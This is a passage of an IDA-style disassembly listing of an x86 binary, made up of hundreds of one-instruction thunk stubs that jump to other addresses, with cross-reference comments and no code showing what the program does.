sub_4017EE proc near jmp sub_40B210 sub_4017EE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017F3 proc near ; CODE XREF: sub_406890+205p jmp sub_41B820 sub_4017F3 endp ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_8. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017FD proc near ; CODE XREF: ___:00426A13p jmp sub_426A40 sub_4017FD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401802 proc near ; CODE XREF: sub_41E660+FFp ; sub_41E660+179p ... jmp sub_421A80 sub_401802 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401807 proc near ; CODE XREF: sub_40A110+7p jmp sub_40A130 sub_401807 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40180C proc near ; CODE XREF: sub_40B430+76p jmp sub_40B390 sub_40180C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401811 proc near ; CODE XREF: ___:00423E93p ; DATA XREF: ___:off_44443Co jmp sub_425020 sub_401811 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401816 proc near ; CODE XREF: sub_41E660+18Ep ; ___:0043B183j jmp sub_4218F0 sub_401816 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40181B proc near ; DATA XREF: ___:off_43E10Co jmp sub_426F20 sub_40181B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401820 proc near ; CODE XREF: ___:00416DDFp jmp sub_417DF0 sub_401820 endp ; --------------------------------------------------------------------------- jmp loc_42EC20 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40182A proc near ; CODE XREF: sub_41E660+3BCp ; sub_4225B0+3p jmp sub_421C50 sub_40182A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40182F proc near ; CODE XREF: sub_4266A0+90p jmp sub_426960 sub_40182F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401834 proc near ; CODE XREF: ___:0042436Dp ; sub_424840+135p jmp sub_4243A0 sub_401834 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401839 proc near ; CODE XREF: sub_40BE40+3p ; ___:0040BF0Fp ... jmp sub_40C080 sub_401839 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40183E proc near ; CODE XREF: sub_4070F0+36p ; sub_4070F0+72p ... jmp sub_407340 sub_40183E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401843 proc near ; CODE XREF: ___:00413181p jmp sub_415680 sub_401843 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401848 proc near ; CODE XREF: ___:0040B9D1p ; ___:0040BA98p ... jmp sub_412AA0 sub_401848 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40184D proc near ; CODE XREF: ___:00431FEFp ; ___:004320FFp ... jmp sub_431B30 sub_40184D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401852 proc near ; DATA XREF: ___:004322AAo ; ___:00432410o jmp sub_431BA0 sub_401852 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401857 proc near ; CODE XREF: sub_416360+7p jmp sub_416740 sub_401857 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40185C proc near ; CODE XREF: sub_418330+34p jmp sub_404C20 sub_40185C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401861 proc near ; CODE XREF: sub_4034E0+7Ap ; sub_4034E0+9Ep ... jmp sub_409B40 sub_401861 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401866 proc near ; CODE XREF: sub_420530+152p jmp sub_4207A0 sub_401866 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40186B proc near ; CODE XREF: ___:0041A228p ; sub_41B010+3p ... jmp sub_41B040 sub_40186B endp ; --------------------------------------------------------------------------- jmp loc_429D70 ; --------------------------------------------------------------------------- jmp loc_41C0E0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40187A proc near ; CODE XREF: ___:00416A4Bp ; ___:00439F6Cj ... jmp sub_416D10 sub_40187A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40187F proc near ; CODE XREF: sub_40FF60+217p ; sub_41FD90+4Cp ... jmp sub_41FD50 sub_40187F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401884 proc near ; CODE XREF: sub_429AA0+9Dp jmp sub_428160 sub_401884 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401889 proc near ; CODE XREF: ___:0042C005p jmp sub_427DC0 sub_401889 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40188E proc near ; DATA XREF: ___:0043E184o jmp sub_42A150 sub_40188E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401893 proc near ; CODE XREF: sub_41B4B0+DDp jmp sub_41AD30 sub_401893 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401898 proc near jmp sub_432ED0 sub_401898 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40189D proc near ; CODE XREF: ___:004141C5p ; sub_414D40+1B2p jmp sub_413DA0 sub_40189D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018A2 proc near ; CODE XREF: sub_411FE0+1B6p jmp sub_40A110 sub_4018A2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018A7 proc near ; CODE XREF: sub_41E660+5ABp jmp sub_4203D0 sub_4018A7 endp ; --------------------------------------------------------------------------- jmp loc_431D10 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018B1 proc near ; CODE XREF: sub_40A910+14p jmp sub_40ABC0 sub_4018B1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018B6 proc near ; CODE XREF: sub_413510+B4p ; ___:00414B90p ... jmp sub_415620 sub_4018B6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018BB proc near ; CODE XREF: sub_41A2B0+6Dp ; sub_41A2B0+1B5p jmp sub_41AF60 sub_4018BB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018C0 proc near ; CODE XREF: ___:004310DAp jmp sub_430A90 sub_4018C0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018C5 proc near ; CODE XREF: sub_418E90+5Fp jmp sub_419030 sub_4018C5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018CA proc near ; CODE XREF: ___:00416A9Bp ; ___:00439F26j ... jmp sub_4178F0 sub_4018CA endp ; --------------------------------------------------------------------------- jmp loc_419DD0 ; --------------------------------------------------------------------------- jmp sub_41A0E0 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4018D9 proc near ; CODE XREF: sub_41E660+46p jmp sub_4218B0 sub_4018D9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018DE proc near ; CODE XREF: ___:0042C135p jmp sub_4299C0 sub_4018DE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4018E3 proc near ; CODE XREF: sub_422130+7p jmp sub_422520 sub_4018E3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018E8 proc near ; CODE XREF: sub_421FB0+9p ; sub_422410+18p jmp sub_422590 sub_4018E8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018ED proc near ; CODE XREF: sub_4221B0+8p jmp sub_422570 sub_4018ED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018F2 proc near ; CODE XREF: sub_4133D0+43p ; sub_4147D0+4Fp ... jmp sub_415730 sub_4018F2 endp ; --------------------------------------------------------------------------- jmp loc_430A10 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4018FC proc near ; CODE XREF: sub_4219D0+1Fp jmp sub_421D50 sub_4018FC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401901 proc near ; CODE XREF: sub_4218B0+11p ; sub_421D50+1Fp jmp sub_421E80 sub_401901 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401906 proc near ; CODE XREF: sub_40B390+6Dp jmp sub_40BD90 sub_401906 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40190B proc near ; CODE XREF: sub_409450+13p jmp sub_409580 sub_40190B endp ; --------------------------------------------------------------------------- jmp loc_4365C0 ; --------------------------------------------------------------------------- jmp sub_41B010 ; --------------------------------------------------------------------------- loc_40191A: ; DATA XREF: ___:off_43E068o jmp loc_416CE0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40191F proc near ; CODE XREF: ___:00413B31p jmp sub_4139B0 sub_40191F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401924 proc near ; CODE XREF: ___:00413193p ; sub_413220+32p jmp sub_4154D0 sub_401924 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401929 proc near ; CODE XREF: ___:00416B4Bp ; ___:00439E8Cj ... jmp sub_417020 sub_401929 endp ; --------------------------------------------------------------------------- jmp loc_4310A0 ; --------------------------------------------------------------------------- jmp loc_4334F0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401938 proc near ; CODE XREF: sub_41C610+F1p ; sub_41C610+270p ... jmp sub_420E10 sub_401938 endp ; --------------------------------------------------------------------------- jmp loc_40A400 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401942 proc near ; CODE XREF: sub_404C70+283p ; sub_40ED70+D2p ... jmp sub_40EF90 sub_401942 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401947 proc near ; CODE XREF: sub_4218F0+34p ; sub_422240+67p jmp sub_421ED0 sub_401947 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40194C proc near ; CODE XREF: sub_404C70+BF7p jmp sub_4066E0 sub_40194C endp ; --------------------------------------------------------------------------- jmp loc_432360 ; --------------------------------------------------------------------------- loc_401956: ; DATA XREF: sub_41FC00+39o jmp loc_41FB30 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40195B proc near ; CODE XREF: ___:0041A19Ep ; sub_41A2B0+Bp ... jmp sub_41A290 sub_40195B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401960 proc near ; CODE XREF: ___:0041AB86p ; ___:0041AC66p jmp sub_41A890 sub_401960 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401965 proc near jmp sub_419220 sub_401965 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40196A proc near ; CODE XREF: sub_411910+2Ep ; sub_411B10+3p jmp sub_411A50 sub_40196A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40196F proc near ; CODE XREF: sub_41E660+F5p ; sub_41E660+16Fp ... jmp sub_4219A0 sub_40196F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401974 proc near ; CODE XREF: sub_409450+4p ; sub_409600+1Fp ... jmp sub_409500 sub_401974 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401979 proc near jmp sub_409A30 sub_401979 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40197E proc near ; CODE XREF: sub_41F860+20p ; sub_429AA0+37p jmp sub_41FE50 sub_40197E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401983 proc near ; CODE XREF: sub_413510+4Ap ; ___:00414B3Fp ... jmp sub_415420 sub_401983 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401988 proc near ; CODE XREF: sub_40A430+A8p jmp sub_40A850 sub_401988 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40198D proc near ; CODE XREF: sub_40CBB0+41p jmp sub_40CE60 sub_40198D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401992 proc near ; CODE XREF: ___:00433405p ; ___:00433505p jmp sub_433160 sub_401992 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401997 proc near ; CODE XREF: sub_4218F0+29p jmp sub_421DF0 sub_401997 endp ; --------------------------------------------------------------------------- jmp loc_42ECF0 ; --------------------------------------------------------------------------- jmp loc_42ECC0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019A6 proc near ; CODE XREF: sub_40A790+Dp ; sub_40A9F0+91p jmp sub_40A910 sub_4019A6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019AB proc near ; CODE XREF: sub_422050+23p ; sub_422410+11p jmp sub_4225B0 sub_4019AB endp ; --------------------------------------------------------------------------- jmp loc_41AB20 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019B5 proc near ; CODE XREF: sub_403FC0+2Cp ; ___:0040403Fp ... jmp sub_4034E0 sub_4019B5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019BA proc near ; CODE XREF: sub_422750+6p jmp sub_4227C0 sub_4019BA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019BF proc near ; DATA XREF: ___:off_43E050o jmp sub_416C30 sub_4019BF endp ; --------------------------------------------------------------------------- jmp sub_40FD70 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4019C9 proc near ; CODE XREF: sub_407410+4p jmp sub_407540 sub_4019C9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019CE proc near ; CODE XREF: ___:0040B629p ; ___:0040BA46p ... jmp sub_40B520 sub_4019CE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019D3 proc near ; CODE XREF: sub_40FF60+AF4p ; sub_40FF60+E6Ap jmp sub_411B10 sub_4019D3 endp ; --------------------------------------------------------------------------- jmp loc_432940 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019DD proc near ; CODE XREF: sub_4144D0+CEp jmp sub_414640 sub_4019DD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019E2 proc near ; DATA XREF: ___:0043E1C8o jmp sub_42B880 sub_4019E2 endp ; --------------------------------------------------------------------------- loc_4019E7: ; DATA XREF: ___:off_43E0D0o jmp loc_41D730 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019EC proc near ; CODE XREF: sub_421A10+3p jmp sub_421F30 sub_4019EC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4019F1 proc near ; CODE XREF: ___:00416D8Fp jmp sub_40B0B0 sub_4019F1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4019F6 proc near jmp sub_4132E0 sub_4019F6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019FB proc near ; CODE XREF: sub_41E660+477p jmp sub_4200F0 sub_4019FB endp ; --------------------------------------------------------------------------- jmp loc_421850 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A05 proc near ; DATA XREF: ___:0043E124o jmp sub_427650 sub_401A05 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401A0A proc near jmp sub_411B40 sub_401A0A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A0F proc near ; CODE XREF: sub_4331D0+92p jmp sub_430940 sub_401A0F endp ; --------------------------------------------------------------------------- jmp loc_427FC0 ; --------------------------------------------------------------------------- jmp loc_426A10 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401A1E proc near ; CODE XREF: sub_421DF0+32p jmp sub_422240 sub_401A1E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A23 proc near ; CODE XREF: ___:00416ADBp ; sub_416C30+3p ... jmp sub_416C00 sub_401A23 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A28 proc near ; CODE XREF: ___:00423A04p ; ___:004272F8p ... jmp sub_420D00 sub_401A28 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A2D proc near ; CODE XREF: sub_422210+Ap jmp sub_422620 sub_401A2D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A32 proc near ; CODE XREF: ___:00412ECFp ; ___:00412F84p ... jmp sub_404640 sub_401A32 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A37 proc near ; CODE XREF: sub_409450+1Ap ; sub_409530+4p ... jmp sub_4094C0 sub_401A37 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401A3C proc near ; DATA XREF: ___:off_43E028o jmp sub_40FD70 sub_401A3C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A41 proc near ; DATA XREF: ___:0043E0E4o jmp sub_4266A0 sub_401A41 endp ; --------------------------------------------------------------------------- jmp loc_409D50 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A4B proc near ; CODE XREF: sub_415AA0+1Ep jmp sub_416550 sub_401A4B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A50 proc near ; CODE XREF: ___:0042F2F0p ; sub_430F00+36p ... jmp sub_430340 sub_401A50 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A55 proc near ; CODE XREF: sub_4137E0+3Ep jmp sub_433900 sub_401A55 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A5A proc near ; CODE XREF: sub_4149A0+3p jmp sub_4149D0 sub_401A5A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A5F proc near ; CODE XREF: ___:004081DDp ; ___:0040866Ep jmp sub_409490 sub_401A5F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401A64 proc near ; DATA XREF: ___:0043E0E0o ; ___:0043E0F0o ... jmp sub_4263D0 sub_401A64 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401A69 proc near ; CODE XREF: sub_41D830+1ADp jmp sub_42C810 sub_401A69 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A6E proc near ; CODE XREF: sub_420530+191p ; sub_4227C0+3p ... jmp sub_4207C0 sub_401A6E endp ; --------------------------------------------------------------------------- jmp loc_42EFF0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A78 proc near ; CODE XREF: sub_4225E0+5p jmp sub_422750 sub_401A78 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A7D proc near ; CODE XREF: ___:00416E4Ap jmp sub_418100 sub_401A7D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A82 proc near ; CODE XREF: sub_407220+5p ; sub_407310+6p ... jmp sub_407460 sub_401A82 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A87 proc near ; CODE XREF: sub_4034E0+90p ; sub_404C70+40Fp ... jmp sub_40A6A0 sub_401A87 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A8C proc near ; CODE XREF: sub_41D830+2FFp ; sub_41EF30+52Fp jmp sub_41FD90 sub_401A8C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A91 proc near ; CODE XREF: ___:00431DCAp jmp sub_42F840 sub_401A91 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401A96 proc near ; CODE XREF: sub_415490+1Fp jmp sub_415DD0 sub_401A96 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A9B proc near ; CODE XREF: sub_4034E0+E5p ; sub_409E70+Fp ... jmp sub_409DA0 sub_401A9B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AA0 proc near ; CODE XREF: sub_431560+17p ; sub_431560+33p jmp sub_433710 sub_401AA0 endp ; --------------------------------------------------------------------------- jmp loc_433480 ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_11. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_401AAF: ; DATA XREF: ___:off_43E0FCo jmp loc_426A10 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AB4 proc near ; CODE XREF: sub_424E90+E5p ; sub_424E90+120p jmp sub_424D40 sub_401AB4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AB9 proc near ; DATA XREF: ___:off_43E034o jmp sub_411FE0 sub_401AB9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401ABE proc near ; DATA XREF: ___:0041FB33o jmp sub_41FA90 sub_401ABE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AC3 proc near ; CODE XREF: sub_4070F0+Bp jmp sub_4072D0 sub_401AC3 endp ; --------------------------------------------------------------------------- jmp loc_432BA0 ; --------------------------------------------------------------------------- loc_401ACD: ; DATA XREF: ___:off_43E020o jmp loc_40B8D0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AD2 proc near ; CODE XREF: sub_403EE0+2Bp ; sub_403EE0+3Bp ... jmp sub_403D10 sub_401AD2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AD7 proc near ; CODE XREF: sub_413510+66p ; sub_413510+CAp ... jmp sub_415650 sub_401AD7 endp ; --------------------------------------------------------------------------- jmp loc_41B780 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401AE1 proc near jmp sub_4227F0 sub_401AE1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401AE6 proc near ; CODE XREF: ___:00416B2Bp ; ___:00439EA8j ... jmp sub_40B170 sub_401AE6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AEB proc near ; CODE XREF: ___:00421764p ; ___:0042179Ep jmp sub_4215D0 sub_401AEB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AF0 proc near ; CODE XREF: sub_404BE0+15p jmp sub_4070F0 sub_401AF0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AF5 proc near ; DATA XREF: ___:off_43E0BCo jmp sub_41A0E0 sub_401AF5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401AFA proc near ; CODE XREF: ___:00416F0Fp jmp sub_418900 sub_401AFA endp ; --------------------------------------------------------------------------- loc_401AFF: ; CODE XREF: ___:00438C76j jmp loc_40CAF0 ; --------------------------------------------------------------------------- loc_401B04: ; DATA XREF: ___:off_43E16Co jmp loc_429D70 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401B09 proc near ; CODE XREF: sub_416FB0+28p jmp sub_418890 sub_401B09 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401B0E proc near ; CODE XREF: ___:004319E7p jmp sub_431A20 sub_401B0E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B13 proc near ; CODE XREF: sub_42FF50+Bp jmp sub_4303D0 sub_401B13 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B18 proc near jmp sub_40AEA0 sub_401B18 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B1D proc near ; CODE XREF: ___:00418C7Bp ; sub_418E90+28p ... jmp sub_418F50 sub_401B1D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B22 proc near ; DATA XREF: ___:off_43E1B0o jmp sub_42B4F0 sub_401B22 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B27 proc near ; CODE XREF: ___:00416A7Bp ; ___:00439F42j ... jmp sub_4179D0 sub_401B27 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401B2C proc near ; CODE XREF: ___:00408713p ; ___:00408734p ... jmp sub_407660 sub_401B2C endp ; --------------------------------------------------------------------------- jmp loc_414AF0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B36 proc near ; CODE XREF: sub_41C610+83p ; sub_4282C0+3Fp jmp sub_41D540 sub_401B36 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B3B proc near ; CODE XREF: sub_41A890+11p jmp sub_41A8C0 sub_401B3B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B40 proc near ; CODE XREF: sub_41E660+339p jmp sub_421C10 sub_401B40 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401B45 proc near ; CODE XREF: sub_414C70+3p jmp sub_414CA0 sub_401B45 endp ; --------------------------------------------------------------------------- jmp loc_432CA0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B4F proc near ; CODE XREF: sub_42FAA0+29p jmp sub_42F540 sub_401B4F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401B54 proc near ; CODE XREF: sub_40FDA0+38p ; ___:00439158j jmp sub_412BC0 sub_401B54 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401B59 proc near jmp sub_40D580 sub_401B59 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401B5E proc near ; CODE XREF: sub_407660+3Bp ; sub_4076F0+43p jmp sub_40B430 sub_401B5E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B63 proc near ; CODE XREF: sub_4072D0+3p jmp sub_4074A0 sub_401B63 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B68 proc near ; CODE XREF: sub_424840+9Dp ; sub_424840+FBp ... jmp sub_4245F0 sub_401B68 endp ; --------------------------------------------------------------------------- loc_401B6D: ; DATA XREF: ___:off_43E084o jmp loc_425BD0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B72 proc near ; CODE XREF: sub_40FF60+413p ; sub_40FF60+F69p ... jmp sub_409F60 sub_401B72 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B77 proc near ; CODE XREF: ___:00425474p jmp sub_4254E0 sub_401B77 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401B7C proc near ; CODE XREF: sub_422050+32p jmp sub_422410 sub_401B7C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B81 proc near ; CODE XREF: sub_41B4B0+A5p jmp sub_41A6D0 sub_401B81 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B86 proc near ; CODE XREF: sub_40BF60+23p ; sub_40C120+11p jmp sub_40C2C0 sub_401B86 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B8B proc near ; CODE XREF: ___:0042B833p jmp sub_42B860 sub_401B8B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401B90 proc near jmp sub_41E140 sub_401B90 endp ; --------------------------------------------------------------------------- loc_401B95: ; DATA XREF: sub_42FF50+86o jmp loc_431650 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B9A proc near ; CODE XREF: sub_409530+20p jmp sub_409600 sub_401B9A endp ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_9. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BA4 proc near ; DATA XREF: ___:off_43E0A4o jmp sub_40CBB0 sub_401BA4 endp ; --------------------------------------------------------------------------- jmp loc_4309D0 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401BAE proc near ; CODE XREF: sub_421BD0+1Fp jmp sub_421FB0 sub_401BAE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401BB3 proc near ; CODE XREF: sub_427520+39p jmp sub_4270E0 sub_401BB3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BB8 proc near ; CODE XREF: sub_415730+5p ; sub_415930+6p ... jmp sub_416380 sub_401BB8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BBD proc near ; CODE XREF: sub_4303D0+5Dp ; sub_431730+3Ep jmp sub_4304D0 sub_401BBD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BC2 proc near ; CODE XREF: ___:00432129p ; ___:0043214Ap ... jmp sub_430C00 sub_401BC2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BC7 proc near ; CODE XREF: ___:00425DA2p jmp sub_4269A0 sub_401BC7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BCC proc near ; CODE XREF: sub_41B3D0+3p jmp sub_41B400 sub_401BCC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BD1 proc near ; CODE XREF: sub_428220+3p jmp sub_428250 sub_401BD1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BD6 proc near ; CODE XREF: sub_422A40+924p ; ___:0042408Ap jmp sub_4258E0 sub_401BD6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BDB proc near ; CODE XREF: sub_42D2C0+18Dp ; sub_42D2C0+1CDp ... jmp sub_42DFD0 sub_401BDB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401BE0 proc near ; CODE XREF: ___:0041426Cp jmp sub_414360 sub_401BE0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401BE5 proc near jmp sub_40C360 sub_401BE5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BEA proc near ; CODE XREF: sub_425020+8Bp jmp sub_424840 sub_401BEA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BEF 